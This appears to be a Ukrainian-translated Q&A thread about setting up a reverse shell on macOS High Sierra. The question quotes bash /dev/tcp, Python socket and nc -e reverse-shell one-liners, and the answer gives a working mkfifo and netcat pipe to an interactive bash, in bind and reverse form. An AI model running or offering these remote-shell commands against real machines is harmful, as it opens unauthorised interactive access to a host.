Створити зворотну оболонку за допомогою High Sierra?

Я намагаюся створити слухач зворотної оболонки за допомогою High Sierra, але нічого, здається, не працює.

Команда bash начебто просто зависає в терміналі і тайм-аут.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

При використанні python або python v2.7 команда python має значення "З'єднання відмовлено".

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

помилка команди netcat з "nc: неправильна опція -e"

nc -e /bin/bash 0.0.0.0 8080

Я спробував інші рішення, які знайшов в Інтернеті, але ви розумієте ...

Чи можливо створити зворотну оболонку (бажано з доступом до bash) за допомогою High Sierra?

технічні характеристики:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03

Якщо я правильно розумію, ви хочете підключитися до машини High Sierra із зовнішнього джерела через щось на зразок netcat (nc), надіслати команди bash та переглянути відповідь.

Є більш безпечні та простіші способи зробити це за допомогою ssh, але припускаючи, що це якийсь експеримент чи трюк розробки, ось як можна робити те, що ви просите.

Моя відповідь ґрунтується на відповіді, яку я знайшов в іншому місці на SE ( https://superuser.com/a/607855 ), яка сама ґрунтується на інших відповідях SO / SE.

Спочатку зробіть фіфо:

mkfifo myfifo

Потім запустіть 'nc', використовуючи fifo як свій вхід, переклавши його вихід на bash і перенаправивши вихід bash на fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Прапор '-i' для bash вказує на інтерактивну оболонку, і може не бути бажаним для цього випадку використання.)

З віддаленого пристрою (на моєму тестуванні):

nc 127.0.0.1 8080

Якщо ви хочете змінити ролі, тобто машина High Sierra встановлює з'єднання з віддаленим пристроєм і надає віддаленому пристрою доступ до удару на хості HS, ви пересунете прапор прослуховування (-l). Отже, віддалений пристрій запустив netcat спочатку в режимі прослуховування:

nc -l 127.0.0.1 8080

Тоді хост High Sierra підключиться до віддаленого пристрою:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1